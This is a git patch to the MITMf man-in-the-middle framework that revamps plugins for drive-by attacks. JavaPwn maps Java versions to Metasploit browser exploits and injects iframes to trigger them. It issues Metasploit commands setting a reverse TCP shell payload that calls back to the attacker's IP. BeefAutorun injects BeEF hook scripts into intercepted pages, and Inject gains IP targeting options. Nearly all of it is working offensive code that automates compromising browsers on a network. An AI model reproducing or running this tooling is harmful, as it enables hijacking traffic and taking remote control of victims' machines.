From f359ee7cdd53cbcb110a5175e444a68a7c72dc95 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sun, 21 Dec 2014 17:33:56 +0100 Subject: [PATCH] - Revamped Javapwn plugin with new detection and exploitation algo - Added whitelist/blacklist ip options to the inject plugin - Revamped Beefautorun plugin, with new injection algo - Metasploit and BeEF options are now a config file (mitmf.cfg) --- config/javapwn.cfg | 32 ++++++-- config/mitmf.cfg | 10 +++ libs/sslstrip/ServerConnection.py | 6 +- plugins/BeefAutorun.py | 71 ++++++++-------- plugins/BrowserProfiler.py | 6 +- plugins/Inject.py | 78 +++++++++++++----- plugins/JavaPwn.py | 129 ++++++++++++++++++------------ 7 files changed, 211 insertions(+), 121 deletions(-) create mode 100644 config/mitmf.cfg diff --git a/config/javapwn.cfg b/config/javapwn.cfg index 45a4417..b11dc85 100644 --- a/config/javapwn.cfg +++ b/config/javapwn.cfg @@ -1,5 +1,27 @@ -#Example config file for the javapwn plugin -1.702 = "java_atomicreferencearray" -1.704 = "java_verifier_field_access" -1.706 = "java_jre17_exec" -1.707 = "java_jre17_jaxws" \ No newline at end of file +# All versions strings without a * are considered vulnerable if clients Java version is <= update version +# When adding more exploits remember the following format: version string (eg 1.6.0) + update version (eg 28) = 1.6.0.28 + +[Multi] #Cross platform exploits, yay java! <3 + +multi/browser/java_rhino = 1.6.0.28, 1.7.0.28 +multi/browser/java_calendar_deserialize = 1.6.0.10, 1.5.0.16 +multi/browser/java_getsoundbank_bof = 1.6.0.16, 1.5.0.21, 1.4.2.23, 1.3.1.26 +multi/browser/java_atomicreferencearray = 1.6.0.30, 1.5.0.33, 1.7.0.2 +multi/browser/java_jre17_exec = 1.7.0.6 +multi/browser/java_jre17_jaxws = 1.7.0.7 +multi/browser/java_jre17_jmxbean = 1.7.0.10 +multi/browser/java_jre17_jmxbean_2 = 1.7.0.11 +multi/browser/java_jre17_reflection_types = 1.7.0.17 +multi/browser/java_verifier_field_access = 1.7.0.4, 1.6.0.32, 1.5.0.35, 1.4.2.37 +multi/browser/java_jre17_glassfish_averagerangestatisticimpl = 1.7.0.7 +multi/browser/java_jre17_method_handle = 1.7.0.7 +multi/browser/java_jre17_driver_manager = 1.7.0.17 +multi/browser/java_jre17_provider_skeleton = 1.7.0.21 +multi/browser/java_storeimagearray = 1.7.0.21 +multi/browser/java_setdifficm_bof = *1.6.0.16, *1.6.0.11 + +[Windows] #These are windows specific + +windows/browser/java_ws_double_quote = 1.6.0.35, 1.7.0.7 +windows/browser/java_cmm = 1.6.0.41, 1.7.0.15 +windows/browser/java_mixer_sequencer = 1.6.0.18 diff --git a/config/mitmf.cfg b/config/mitmf.cfg new file mode 100644 index 0000000..a42c7fc --- /dev/null +++ b/config/mitmf.cfg @@ -0,0 +1,10 @@ +[BeEF] +beefip = 127.0.0.1 +beefport = 3000 +user = beef +pass = beef + +[Metasploit] +msfport = 8080 #Port to start webserver for exploits +rpcip = 127.0.0.1 +rpcpass = abc123 \ No newline at end of file diff --git a/libs/sslstrip/ServerConnection.py b/libs/sslstrip/ServerConnection.py index 87d70d5..9730893 100644 --- a/libs/sslstrip/ServerConnection.py +++ b/libs/sslstrip/ServerConnection.py @@ -47,7 +47,6 @@ class ServerConnection(HTTPClient): self.postData = postData self.headers = headers self.client = client - self.clientInfo = None self.urlMonitor = URLMonitor.getInstance() self.hsts = URLMonitor.getInstance().isHstsBypass() self.plugins = ProxyPlugins.getInstance() @@ -76,7 +75,10 @@ class ServerConnection(HTTPClient): def sendRequest(self): if self.command == 'GET': user_agent = parse(self.headers['user-agent']) - self.clientInfo = "%s [type:%s-%s os:%s] " % (self.client.getClientIP(), user_agent.browser.family, user_agent.browser.version[0], user_agent.os.family) + try: + self.clientInfo = "%s [type:%s-%s os:%s] " % (self.client.getClientIP(), user_agent.browser.family, user_agent.browser.version[0], user_agent.os.family) + except: + self.clientInfo = "%s " % self.client.getClientIP() logging.info(self.clientInfo + "Sending Request: %s" % self.headers['host']) diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py index c4196cd..545502d 100644 --- a/plugins/BeefAutorun.py +++ b/plugins/BeefAutorun.py @@ -1,10 +1,12 @@ from plugins.plugin import Plugin from plugins.Inject import Inject from time import sleep +import logging +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy +from scapy.all import get_if_addr import sys import json import threading -import logging import libs.beefapi as beefapi try: @@ -17,57 +19,57 @@ requests_log.setLevel(logging.WARNING) class BeefAutorun(Inject, Plugin): - name = "BeEFAutorun" - optname = "beefauto" - has_opts = True - desc = "Injects BeEF hooks & autoruns modules based on Browser or OS type" + name = "BeEFAutorun" + optname = "beefauto" + has_opts = False + desc = "Injects BeEF hooks & autoruns modules based on Browser and/or OS type" def initialize(self, options): - self.options = options - self.autoruncfg = options.autoruncfg - self.hookip = options.hookip - self.beefip = options.beefip - self.beefport = options.beefport - self.beefuser = options.beefuser - self.beefpass = options.beefpass - self.dis_inject = options.dis_inject - - beef = beefapi.BeefAPI({"host": self.beefip, "port": self.beefport}) - if beef.login(self.beefuser, self.beefpass): - print "[*] Successfully logged in to BeEF" - else: - sys.exit("[-] Error logging in to BeEF!") + self.options = options + beefconfig = ConfigObj("./config/mitmf.cfg")['BeEF'] userconfig = ConfigObj("./config/beefautorun.cfg") + self.Mode = userconfig['mode'] - self.All_modules = userconfig["ALL"] self.Targeted_modules = userconfig["targets"] - if self.dis_inject: - if not self.hookip: - sys.exit("[-] BeEFAutorun requires --hookip") - Inject.initialize(self, options) - self.count_limit = 1 - self.html_payload = '' % (self.hookip, self.beefport) + try: + self.ip_address = get_if_addr(options.interface) + if self.ip_address == "0.0.0.0": + sys.exit("[-] Interface %s does not have an IP address" % options.interface) + except Exception, e: + sys.exit("[-] Error retrieving interface IP address: %s" % e) + Inject.initialize(self, options) + self.black_ips = [] + self.html_payload = '' % (self.ip_address, beefconfig['beefport']) + + beef = beefapi.BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']}) + if beef.login(beefconfig['user'], beefconfig['pass']): + print "[*] Successfully logged in to BeEF" + else: + sys.exit("[-] Error logging in to BeEF!") + print "[*] BeEFAutorun plugin online => Mode: %s" % self.Mode t = threading.Thread(name="autorun", target=self.autorun, args=(beef,)) t.setDaemon(True) t.start() def autorun(self, beef): - already_ran = [] + already_ran = [] already_hooked = [] + while True: sessions = beef.sessions_online() - if sessions is not None and len(sessions) > 0: + if (sessions is not None and len(sessions) > 0): for session in sessions: if session not in already_hooked: info = beef.hook_info(session) logging.info("%s >> joined the horde! [id:%s, type:%s-%s, os:%s]" % (info['ip'], info['id'], info['name'], info['version'], info['os'])) already_hooked.append(session) + self.black_ips.append(str(info['ip'])) if self.Mode == 'oneshot': if session not in already_ran: @@ -83,9 +85,9 @@ class BeefAutorun(Inject, Plugin): def execModules(self, session, beef): session_info = beef.hook_info(session) - session_ip = session_info['ip'] + session_ip = session_info['ip'] hook_browser = session_info['name'] - hook_os = session_info['os'] + hook_os = session_info['os'] if len(self.All_modules) > 0: logging.info("%s >> sending generic modules" % session_ip) @@ -115,12 +117,3 @@ class BeefAutorun(Inject, Plugin): else: logging.info('%s >> ERROR sending module %s' % (session_ip, mod_id)) sleep(0.5) - - def add_options(self, options): - group = options.add_mutually_exclusive_group(required=False) - group.add_argument('--hookip', dest='hookip', help="Hook IP") - group.add_argument('--disable-inject', dest='dis_inject', action='store_true', default=True, help='Disables automatically injecting the hook url') - options.add_argument('--beefip', dest='beefip', default='127.0.0.1', help="IP of BeEF's server [default: localhost]") - options.add_argument('--beefport', dest='beefport', default='3000', help="Port of BeEF's server [default: 3000]") - options.add_argument('--beefuser', dest='beefuser', default='beef', help='Username for beef [default: beef]') - options.add_argument('--beefpass', dest='beefpass', default='beef', help='Password for beef [default: beef]') diff --git a/plugins/BrowserProfiler.py b/plugins/BrowserProfiler.py index ec7f8d0..536c563 100644 --- a/plugins/BrowserProfiler.py +++ b/plugins/BrowserProfiler.py @@ -17,9 +17,9 @@ class BrowserProfiler(Inject, Plugin): self.dic_output = {} # so other plugins can access the results print "[*] Browser Profiler online" - def post2dict(self, string): #converts the ajax post to a dic + def post2dict(self, post): #converts the ajax post to a dic dict = {} - for line in string.split('&'): + for line in post.split('&'): t = line.split('=') dict[t[0]] = t[1] return dict @@ -69,8 +69,6 @@ function make_xhr(){ } var data = []; - userAgent = navigator.userAgent; - data.push('user_agent=' + userAgent); var PD = PluginDetect; diff --git a/plugins/Inject.py b/plugins/Inject.py index 3d222b7..07d441f 100644 --- a/plugins/Inject.py +++ b/plugins/Inject.py @@ -1,4 +1,6 @@ import logging +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy +from scapy.all import get_if_addr import time import re import argparse @@ -15,15 +17,36 @@ class Inject(CacheKill, Plugin): def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.html_src = options.html_url - self.js_src = options.js_url - self.rate_limit = options.rate_limit - self.count_limit = options.count_limit - self.per_domain = options.per_domain - self.match_str = options.match_str + self.options = options + self.html_src = options.html_url + self.js_src = options.js_url + self.rate_limit = options.rate_limit + self.count_limit = options.count_limit + self.per_domain = options.per_domain + self.black_ips = options.black_ips + self.white_ips = options.white_ips + self.match_str = options.match_str self.html_payload = options.html_payload + try: + self.proxyip = get_if_addr(options.interface) + if self.proxyip == "0.0.0.0": + sys.exit("[-] Interface %s does not have an IP address" % options.interface) + except Exception, e: + sys.exit("[-] Error retrieving interface IP address: %s" % e) + + if self.white_ips: + temp = [] + for ip in self.white_ips.split(','): + temp.append(ip) + self.white_ips = temp + + if self.black_ips: + temp = [] + for ip in self.black_ips.split(','): + temp.append(ip) + self.black_ips = temp + if self.options.preserve_cache: self.implements.remove("handleHeader") self.implements.remove("connectionMade") @@ -43,15 +66,15 @@ class Inject(CacheKill, Plugin): #print "http://" + request.client.getRequestHostname() + request.uri ip, hn, mime = self._get_req_info(request) if self._should_inject(ip, hn, mime) and (not self.js_src == self.html_src is not None or not self.html_payload == ""): - - data = self._insert_html(data, post=[(self.match_str, self._get_payload())]) - self.ctable[ip] = time.time() - self.dtable[ip+hn] = True - self.count += 1 - logging.info("%s [%s] Injected malicious html" % (request.client.getClientIP(), request.headers['host'])) - return {'request': request, 'data': data} - else: - return + if hn not in self.proxyip: #prevents recursive injecting + data = self._insert_html(data, post=[(self.match_str, self._get_payload())]) + self.ctable[ip] = time.time() + self.dtable[ip+hn] = True + self.count += 1 + logging.info("%s [%s] Injected malicious html" % (ip, hn)) + return {'request': request, 'data': data} + else: + return def _get_payload(self): return self._get_js() + self._get_iframe() + self.html_payload @@ -62,12 +85,28 @@ class Inject(CacheKill, Plugin): options.add_argument("--html-payload", type=str, default="", help="String you would like to inject.") options.add_argument("--html-file", type=argparse.FileType('r'), default=None, help="File containing code you would like to inject.") options.add_argument("--match-str", type=str, default="", help="String you would like to match and place your payload before. ( by default)") - options.add_argument("--per-domain", action="store_true", help="Inject once per domain per client.") - options.add_argument("--rate-limit", type=float, help="Inject once every RATE_LIMIT seconds per client.") - options.add_argument("--count-limit", type=int, help="Inject only COUNT_LIMIT times per client.") options.add_argument("--preserve-cache", action="store_true", help="Don't kill the server/client caching.") + group = options.add_mutually_exclusive_group(required=False) + group.add_argument("--per-domain", action="store_true", default=False, help="Inject once per domain per client.") + group.add_argument("--rate-limit", type=float, default=None, help="Inject once every RATE_LIMIT seconds per client.") + group.add_argument("--count-limit", type=int, default=None, help="Inject only COUNT_LIMIT times per client.") + group.add_argument("--white-ips", type=str, default=None, help="Inject content ONLY for these ips") + group.add_argument("--black-ips", type=str, default=None, help="DO NOT inject content for these ips") def _should_inject(self, ip, hn, mime): + + if self.white_ips is not None: + if ip in self.white_ips: + return True + else: + return False + + if self.black_ips is not None: + if ip in self.black_ips: + return False + else: + return True + if self.count_limit == self.rate_limit is None and not self.per_domain: return True @@ -81,6 +120,7 @@ class Inject(CacheKill, Plugin): if self.per_domain: return not ip+hn in self.dtable + #print mime return mime.find(self.mime) != -1 diff --git a/plugins/JavaPwn.py b/plugins/JavaPwn.py index 0751790..eea0f61 100644 --- a/plugins/JavaPwn.py +++ b/plugins/JavaPwn.py @@ -5,44 +5,45 @@ import libs.msfrpc as msfrpc import string import random import threading -import logging import sys - -try: - from configobj import ConfigObj -except: - sys.exit('[-] configobj library not installed!') +import logging +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy +from scapy.all import get_if_addr +from configobj import ConfigObj requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message requests_log.setLevel(logging.WARNING) class JavaPwn(BrowserProfiler, Plugin): - name = "JavaPwn" - optname = "javapwn" - desc = "Performs drive-by attacks on clients with out-of-date java browser plugins" - has_opts = True + name = "JavaPwn" + optname = "javapwn" + desc = "Performs drive-by attacks on clients with out-of-date java browser plugins" + has_opts = False def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.msfip = options.msfip - self.msfport = options.msfport - self.rpcip = options.rpcip - self.rpcpass = options.rpcpass - self.javapwncfg = options.javapwncfg - - if not self.msfip: - sys.exit('[-] JavaPwn plugin requires --msfip') - - self.javacfg = ConfigObj("./config/javapwn.cfg") - - self.javaVersionDic = {} - for key, value in self.javacfg.iteritems(): - self.javaVersionDic[float(key)] = value - + self.options = options self.sploited_ips = [] #store ip of pwned or not vulnerable clients so we don't re-exploit + msfcfg = ConfigObj('./config/mitmf.cfg')['Metasploit'] + self.javacfg = ConfigObj('./config/javapwn.cfg') + + self.msfport = msfcfg['msfport'] + self.rpcip = msfcfg['rpcip'] + self.rpcpass = msfcfg['rpcpass'] + + try: + self.msfip = get_if_addr(options.interface) + if self.msfip == "0.0.0.0": + sys.exit("[-] Interface %s does not have an IP address" % options.interface) + except Exception, e: + sys.exit("[-] Error retrieving interface IP address: %s" % e) + + #Initialize the BrowserProfiler plugin + BrowserProfiler.initialize(self, options) + self.black_ips = [] + try: msf = msfrpc.Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary msf.login('msf', self.rpcpass) @@ -51,9 +52,6 @@ class JavaPwn(BrowserProfiler, Plugin): except Exception: sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") - #Initialize the BrowserProfiler plugin - BrowserProfiler.initialize(self, options) - print "[*] JavaPwn plugin online" t = threading.Thread(name='pwn', target=self.pwn, args=(msf,)) t.setDaemon(True) @@ -62,16 +60,45 @@ class JavaPwn(BrowserProfiler, Plugin): def rand_url(self): #generates a random url for our exploits (urls are generated with a / at the beginning) return "/" + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(5)) - def version2float(self, version): #converts clients java version string to a float so we can compare the value to self.javaVersionDic - v = version.split(".") - return float(v[0] + "." + "".join(v[-(len(v)-1):])) + def get_exploit(self, java_version): + exploits = [] + + client_vstring = java_version[:-len(java_version.split('.')[3])-1] + client_uversion = int(java_version.split('.')[3]) + + for ver in self.javacfg['Multi'].items(): + if type(ver[1]) is list: + for list_vers in ver[1]: + + version_string = list_vers[:-len(list_vers.split('.')[3])-1] + update_version = int(list_vers.split('.')[3]) + + if ('*' in version_string[:1]) and (client_vstring == version_string[1:]): + if client_uversion == update_version: + exploits.append(ver[0]) + elif (client_vstring == version_string): + if client_uversion <= update_version: + exploits.append(ver[0]) + else: + version_string = ver[1][:-len(ver[1].split('.')[3])-1] + update_version = int(ver[1].split('.')[3]) + + if ('*' in version_string[:1]) and (client_vstring == version_string[1:]): + if client_uversion == update_version: + exploits.append(ver[0]) + elif client_vstring == version_string: + if client_uversion <= update_version: + exploits.append(ver[0]) + + return exploits + def injectWait(self, msfinstance, url, client_ip): #here we inject an iframe to trigger the exploit and check for resulting sessions #inject iframe logging.info("%s >> now injecting iframe to trigger exploit" % client_ip) self.html_payload = "" % (self.msfip, self.msfport, url) #temporarily changes the code that the Browserprofiler plugin injects - logging.info('%s >> waiting for ze shells, Please wait...' % client_ip) + logging.info('%s >> waiting for ze shellz, Please wait...' % client_ip) exit = False i = 1 @@ -83,13 +110,14 @@ class JavaPwn(BrowserProfiler, Plugin): for k, v in shell.items(): if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted logging.info("%s >> Got shell!" % client_ip) - self.sploited_ips.append(client_ip) #target successfuly exploited + self.sploited_ips.append(client_ip) #target successfuly exploited :) + self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped exit = True break sleep(2) i += 1 - if exit is False: #We didn't get a shell + if exit is False: #We didn't get a shell :( logging.info("%s >> session not established after 30 seconds" % client_ip) self.html_payload = self.get_payload() # restart the BrowserProfiler plugin @@ -118,18 +146,20 @@ class JavaPwn(BrowserProfiler, Plugin): vic_ip = brwprofile['ip'] - client_version = self.version2float(brwprofile['java_version']) #convert the clients java string version to a float - logging.info("%s >> client has java version %s installed! Proceeding..." % (vic_ip, brwprofile['java_version'])) logging.info("%s >> Choosing exploit based on version string" % vic_ip) - min_version = min(self.javaVersionDic, key=lambda x: abs(x-client_version)) #retrives the exploit with minimum distance from the clients version + exploits = self.get_exploit(brwprofile['java_version']) # get correct exploit strings defined in javapwn.cfg - if client_version < min_version: #since the two version strings are now floats we can use the < operand + if exploits: - exploit = self.javaVersionDic[min_version] #get the exploit string for that version - - logging.info("%s >> client is vulnerable to %s!" % (vic_ip, exploit)) + if len(exploits) > 1: + logging.info("%s >> client is vulnerable to %s exploits!" % (vic_ip, len(exploits))) + exploit = random.choice(exploits) + logging.info("%s >> choosing %s" %(vic_ip, exploit)) + else: + logging.info("%s >> client is vulnerable to %s!" % (vic_ip, exploits[0])) + exploit = exploits[0] #here we check to see if we already set up the exploit to avoid creating new jobs for no reason jobs = msf.call('job.list') #get running jobs @@ -137,7 +167,7 @@ class JavaPwn(BrowserProfiler, Plugin): for k, v in jobs.items(): info = msf.call('job.info', [k]) if exploit in info['name']: - logging.info('%s >> %s exploit already started' % (vic_ip, exploit)) + logging.info('%s >> %s already started' % (vic_ip, exploit)) url = info['uripath'] #get the url assigned to the exploit self.injectWait(msf, url, vic_ip) @@ -146,10 +176,10 @@ class JavaPwn(BrowserProfiler, Plugin): rand_url = self.rand_url() #generate the command string to send to the virtual console #new line character very important as it simulates a user pressing enter - cmd = "use exploit/multi/browser/%s\n" % exploit + cmd = "use exploit/%s\n" % exploit cmd += "set SRVPORT %s\n" % self.msfport cmd += "set URIPATH %s\n" % rand_url - cmd += "set PAYLOAD generic/shell_reverse_tcp\n" #chose this payload because it can be upgraded to a full-meterpreter (plus its multi-platform! Yay java!) + cmd += "set PAYLOAD generic/shell_reverse_tcp\n" #chose this payload because it can be upgraded to a full-meterpreter and its multi-platform cmd += "set LHOST %s\n" % self.msfip cmd += "set LPORT %s\n" % rand_port cmd += "exploit -j\n" @@ -160,6 +190,7 @@ class JavaPwn(BrowserProfiler, Plugin): self.injectWait(msf, rand_url, vic_ip) else: + #this might be removed in the future since newer versions of Java break the signed applet attack (unless you have a valid cert) logging.info("%s >> client is not vulnerable to any java exploit" % vic_ip) logging.info("%s >> falling back to the signed applet attack" % vic_ip) @@ -177,12 +208,6 @@ class JavaPwn(BrowserProfiler, Plugin): self.injectWait(msf, rand_url, vic_ip) sleep(1) - def add_options(self, options): - options.add_argument('--msfip', dest='msfip', help='IP Address of MSF') - options.add_argument('--msfport', dest='msfport', default='8080', help='Port of MSF web-server [default: 8080]') - options.add_argument('--rpcip', dest='rpcip', default='127.0.0.1', help='IP of MSF MSGRPC server [default: localhost]') - options.add_argument('--rpcpass', dest='rpcpass', default='abc123', help='Password for the MSF MSGRPC server [default: abc123]') - def finish(self): '''This will be called when shutting down''' msf = msfrpc.Msfrpc({"host": self.rpcip}) @@ -190,7 +215,7 @@ class JavaPwn(BrowserProfiler, Plugin): jobs = msf.call('job.list') if len(jobs) > 0: - print '[*] Stopping all running metasploit jobs' + print '\n[*] Stopping all running metasploit jobs' for k, v in jobs.items(): msf.call('job.stop', [k])